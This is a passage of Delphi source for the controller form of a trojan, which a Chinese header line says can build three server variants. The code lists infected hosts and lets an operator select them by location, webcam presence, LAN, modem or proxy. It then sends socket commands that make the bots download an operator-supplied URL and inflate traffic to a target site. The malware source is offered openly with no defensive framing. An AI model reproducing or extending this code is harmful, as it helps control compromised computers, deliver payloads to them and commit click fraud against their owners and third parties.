unit4.pas

由于该木马有三个服务端可以选择生成

unit Unit4;

interface

uses
  Windows, Messages, SysUtils, Variants,Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, Buttons,winsock,unit6, ComCtrls;

type
  TForm4 = class(TForm)
    PageControl1: TPageControl;
    TabSheet1: TTabSheet;
    TabSheet2: TTabSheet;
    GroupBox1: TGroupBox;
    SpeedButton1: TSpeedButton;
    SpeedButton2: TSpeedButton;
    RadioButton1: TRadioButton;
    Edit1: TEdit;
    RadioButton2: TRadioButton;
    Edit2: TEdit;
    RadioButton3: TRadioButton;
    Edit3: TEdit;
    RadioButton5: TRadioButton;
    RadioButton6: TRadioButton;
    RadioButton8: TRadioButton;
    RadioButton9: TRadioButton;
    GroupBox2: TGroupBox;
    SpeedButton3: TSpeedButton;
    SpeedButton4: TSpeedButton;
    SpeedButton5: TSpeedButton;
    SpeedButton6: TSpeedButton;
    SpeedButton7: TSpeedButton;
    SpeedButton8: TSpeedButton;
    SpeedButton9: TSpeedButton;
    SpeedButton10: TSpeedButton;
    SpeedButton11: TSpeedButton;
    RadioButton4: TRadioButton;
    TabSheet3: TTabSheet;
    GroupBox3: TGroupBox;
    SpeedButton12: TSpeedButton;
    SpeedButton13: TSpeedButton;
    SpeedButton14: TSpeedButton;
    SpeedButton15: TSpeedButton;
    SpeedButton16: TSpeedButton;
    SpeedButton17: TSpeedButton;
    SpeedButton18: TSpeedButton;
    SpeedButton19: TSpeedButton;
    SpeedButton20: TSpeedButton;
    RadioButton7: TRadioButton;
    Edit4: TEdit;
    RadioButton10: TRadioButton;
    SpeedButton21: TSpeedButton;
    SpeedButton22: TSpeedButton;
    StatusBar1: TStatusBar;
    SpeedButton23: TSpeedButton;
    SpeedButton24: TSpeedButton;
    SpeedButton25: TSpeedButton;
    SpeedButton26: TSpeedButton;
    procedure SpeedButton2Click(Sender: TObject);
    procedure SpeedButton1Click(Sender: TObject);
    procedure RadioButton8Click(Sender: TObject);
    procedure RadioButton9Click(Sender: TObject);
    procedure SpeedButton11Click(Sender: TObject);
    procedure SpeedButton3Click(Sender: TObject);
    procedure SpeedButton4Click(Sender: TObject);
    procedure SpeedButton5Click(Sender: TObject);
    procedure SpeedButton6Click(Sender: TObject);
    procedure SpeedButton7Click(Sender: TObject);
    procedure SpeedButton8Click(Sender: TObject);
    procedure SpeedButton9Click(Sender: TObject);
    procedure SpeedButton10Click(Sender: TObject);
    procedure SpeedButton18Click(Sender: TObject);
    procedure SpeedButton12Click(Sender: TObject);
    procedure SpeedButton14Click(Sender: TObject);
    procedure SpeedButton15Click(Sender: TObject);
    procedure SpeedButton16Click(Sender: TObject);
    procedure SpeedButton17Click(Sender: TObject);
    procedure PageControl1Change(Sender: TObject);
    procedure SpeedButton13Click(Sender: TObject);
    procedure SpeedButton19Click(Sender: TObject);
    procedure SpeedButton20Click(Sender: TObject);
    procedure SpeedButton21Click(Sender: TObject);
    procedure SpeedButton22Click(Sender: TObject);
    procedure SpeedButton23Click(Sender: TObject);
    procedure SpeedButton24Click(Sender: TObject);
    procedure SpeedButton25Click(Sender: TObject);
    procedure SpeedButton26Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form4: TForm4;
  url:string;
implementation

uses untMain;
{$R *.dfm}
procedure TForm4.SpeedButton2Click(Sender: TObject);
begin
 close;
end;

procedure TForm4.SpeedButton1Click(Sender: TObject);
var
 i,a,b,c:integer;
begin
 c:=0;
 if radiobutton1.Checked then
 begin
  StatusBar1.Panels[0].text:='正在筛选符合条件的备注信息主机...';
  for i:=0 to frmmain.sinsrvs.Items.Count-1 do
  if pos(edit1.text,frmmain.sinsrvs.Items[i].SubItems[2])>0 then
  begin
  frmmain.sinsrvs.Items[i].Checked:=true;
  inc(c);
  end else
  frmmain.sinsrvs.Items[i].Checked:=false;
  StatusBar1.Panels[0].text:='备注信息主机筛选完成. 选中数: '+inttostr(c);
  exit;
 end;
 if radiobutton2.Checked then
 begin
 StatusBar1.Panels[0].text:='正在筛选符合条件的地理位置主机...';
 for i:=0 to frmmain.sinsrvs.Items.Count-1 do
 if pos(edit2.text,frmmain.sinsrvs.Items[i].SubItems[3])>0 then
 begin
 frmmain.sinsrvs.Items[i].Checked:=true;
 inc(c);
 end else
 frmmain.sinsrvs.Items[i].Checked:=false;
 StatusBar1.Panels[0].text:='地理位置主机筛选完成. 选中数: '+inttostr(c);
 exit;
 end;
 if radiobutton3.Checked then
 begin
 StatusBar1.Panels[0].text:='正在筛选符合条件的Ping值主机...';
 b:=strtoint(edit3.text);
 for i:=0 to frmmain.sinsrvs.Items.Count-1 do
 begin
 a:=strtoint(frmmain.sinsrvs.Items[i].SubItems[7]);
 if a<b then
  begin
  frmmain.sinsrvs.Items[i].Checked:=true;
  inc(c);
  end else
  frmmain.sinsrvs.Items[i].Checked:=false;
 end;
 StatusBar1.Panels[0].text:='Ping值主机筛选完成. 选中数: '+inttostr(c);
 exit;
 end;
 if radiobutton4.Checked then
 begin
  StatusBar1.Panels[0].text:='正在筛选有摄像头的主机...';
  for i:=0 to frmmain.sinsrvs.Items.Count-1 do
  if frmmain.sinsrvs.Items[i].SubItems[6]<>' ' then
  begin
  frmmain.sinsrvs.Items[i].Checked:=true;
  inc(c);
  end else
  frmmain.sinsrvs.Items[i].Checked:=false;
  StatusBar1.Panels[0].text:='有摄像头主机筛选完成. 选中数: '+inttostr(c);
  exit;
 end;
 if radiobutton5.Checked then
 begin
  StatusBar1.Panels[0].text:='正在筛选外网主机...';
  for i:=0 to frmmain.sinsrvs.Items.Count-1 do
  if frmmain.sinsrvs.Items[i].SubItems[1]='Modem' then
  begin
  frmmain.sinsrvs.Items[i].Checked:=true;
  inc(c);
  end else
  frmmain.sinsrvs.Items[i].Checked:=false;
  StatusBar1.Panels[0].text:='外网主机筛选完成. 选中数: '+inttostr(c);
  exit;
 end;
 if radiobutton6.Checked then
 begin
  StatusBar1.Panels[0].text:='正在筛选内网主机...';
  for i:=0 to frmmain.sinsrvs.Items.Count-1 do
  if frmmain.sinsrvs.Items[i].SubItems[1]='Lan' then
  begin
  frmmain.sinsrvs.Items[i].Checked:=true;
  inc(c);
  end else
  frmmain.sinsrvs.Items[i].Checked:=false;
  StatusBar1.Panels[0].text:='内网主机筛选完成. 选中数: '+inttostr(c);
  exit;
 end;
 if radiobutton7.Checked then
 begin
 StatusBar1.Panels[0].text:='正在筛选符合条件的组名主机...';
 for i:=0 to frmmain.sinsrvs.Items.Count-1 do
 if pos(edit4.text,frmmain.sinsrvs.Items[i].SubItems[9])>0 then
 begin
 frmmain.sinsrvs.Items[i].Checked:=true;
 inc(c);
 end else
 frmmain.sinsrvs.Items[i].Checked:=false;
 StatusBar1.Panels[0].text:='分组名称主机筛选完成. 选中数: '+inttostr(c);
 exit;
 end;
 if radiobutton8.Checked then
 begin
  StatusBar1.Panels[0].text:='正在全选主机...';
  for i:=0 to frmmain.sinsrvs.Items.Count-1 do
  frmmain.sinsrvs.Items[i].Checked :=true;
  StatusBar1.Panels[0].text:='主机全选完成. 选中数: '+inttostr(frmmain.sinsrvs.Items.Count);
  exit;
 end;
 if radiobutton9.Checked then
 begin
  StatusBar1.Panels[0].text:='正在反选主机...';
  for i:=0 to frmmain.sinsrvs.Items.Count-1 do
   if frmmain.sinsrvs.Items[i].Checked then
   frmmain.sinsrvs.Items[i].Checked:=false
   else
   begin
   frmmain.sinsrvs.Items[i].Checked :=true;
   inc(c);
   end;
  StatusBar1.Panels[0].text:='主机反选完成.选中数: '+inttostr(c);
  exit;
 end;
 if radiobutton10.Checked then
 begin
  StatusBar1.Panels[0].text:='正在筛选代理上网的主机...';
  for i:=0 to frmmain.sinsrvs.Items.Count-1 do
  if frmmain.sinsrvs.Items[i].SubItems[1]='Proxy' then
  begin
  frmmain.sinsrvs.Items[i].Checked:=true;
  inc(c);
  end else
  frmmain.sinsrvs.Items[i].Checked:=false;
  StatusBar1.Panels[0].text:='代理上网的主机筛选完成. 选中数: '+inttostr(c);
 end;
end;

procedure TForm4.RadioButton8Click(Sender: TObject);
var
 i:integer;
begin
  StatusBar1.Panels[0].text:='正在全选主机...';
  for i:=0 to frmmain.sinsrvs.Items.Count-1 do
  frmmain.sinsrvs.Items[i].Checked:=true;
  StatusBar1.Panels[0].text:='主机全选完成. 选中数: '+inttostr(frmmain.sinsrvs.Items.Count);
end;

procedure TForm4.RadioButton9Click(Sender: TObject);
var
 i,c:integer;
begin
  c:=0;
  StatusBar1.Panels[0].text:='正在反选主机...';
  for i:=0 to frmmain.sinsrvs.Items.Count-1 do
   if frmmain.sinsrvs.Items[i].Checked then
   frmmain.sinsrvs.Items[i].Checked:=false
   else
   begin
   frmmain.sinsrvs.Items[i].Checked :=true;
   inc(c);
   end;
  StatusBar1.Panels[0].text:='主机反选完成. 选中数: '+inttostr(c);
end;

procedure TForm4.SpeedButton11Click(Sender: TObject);
begin
 close;
end;
procedure qxiaz;
var
  i:integer;
  sock:integer;
  temp:string;
begin
  For I := 0 To frmmain.sinsrvs.Items.Count-1  Do
  begin
   if frmmain.sinsrvs.Items[i].Checked then
   begin
   Sock := StrToInt(frmmain.sinsrvs.Items[I].SubItems[4]);
   temp:='14'+inttostr(i)+','+url;
   send(sock,temp[1],length(temp),0);
   frmmain.sinsrvs.Items[i].SubItems[5]:='正在发送';
   end;
  end;
end;
procedure TForm4.SpeedButton3Click(Sender: TObject);
var
 tid:dword;
begin
 url:=inputbox('被选主机下载---群','输入下载地址:      ','');
 if url='' then exit;
 CreateThread(Nil, 0, @qxiaz, Nil, 0,tid);
 form4.Close ;
end;
procedure shuall;
var
 i:integer;
 sock:integer;
begin
 url:='45'+url;
 For I := 0 To frmmain.sinsrvs.Items.Count-1  Do
  begin
   if frmmain.sinsrvs.Items[i].Checked then
   begin
   Sock := StrToInt(frmmain.sinsrvs.Items[I].SubItems[4]);
   send(sock,url[1],length(url),0);
   frmmain.sinsrvs.Items[I].SubItems[5]:='刷量完成';
   end;
  end;
end;
procedure TForm4.SpeedButton4Click(Sender: TObject);
var
 tid:dword;
begin
  url:=inputbox('被选主机刷流量','输入目标网址:              ','');
  if url='' then exit;
  CreateThread(Nil, 0, @shuall, Nil, 0,tid);
  form4.Close ;
end;
procedure qbzgx;
var
 i:integer;
 sock:integer;
 temp:string;
begin
  temp:='53'+url;
  For I := 0 To frmmain.sinsrvs.Items.Count-1  Do
  begin
   if frmmain.sinsrvs.Items[i].Checked then
   begin
   Sock := StrToInt(frmmain.sinsrvs.Items[I].SubItems[4]);
   send(sock,temp[1],length(temp),0);
   frmmain.sinsrvs.Items[i].SubItems[2]:=url;
   end;
  end;
end;
procedure TForm4.SpeedButton5Click(Sender: TObject);
var
  tid:dword;
begin
  url:=inputbox('被选主机备注更新--群','输入新的备注信息:              ','');
  if url='' then exit;
  if length(url)>10 then
  url:=copy(url,1,10);
  CreateThread(Nil, 0, @qbzgx, Nil, 0,tid);
  form4.Close ;
end;
procedure glxs;
var
 i:integer;
begin
 For I :=frmmain.sinsrvs.Items.Count-1 downto 0 Do
 if not frmmain.sinsrvs.Items[i].Checked then
 frmmain.sinsrvs.Items[i].Delete;
 frmmain.statusbar1.panels[1].text:='上线主机数: '+inttostr(frmmain.sinsrvs.items.Count);
end;
procedure TForm4.SpeedButton6Click(Sender: TObject);
var
 tid:dword;
begin
 if MessageBox(0,'不显示未选择的主机(仍保持连接)'+#13+'刷新即可重新显示.你确定?','提示',MB_YESNO)=6 then
 begin
  CreateThread(Nil, 0, @glxs, Nil, 0,tid);
  form4.Close ;
 end;
end;
procedure qkgb;
var
 i:integer;
begin
  For I := 0 To frmmain.sinsrvs.Items.Count-1  Do
  frmmain.sinsrvs.Items[i].SubItems[5]:=' ';
end;
procedure TForm4.SpeedButton7Click(Sender: TObject);
var
 tid:dword;
begin
 CreateThread(Nil, 0, @qkgb, Nil, 0,tid);
end;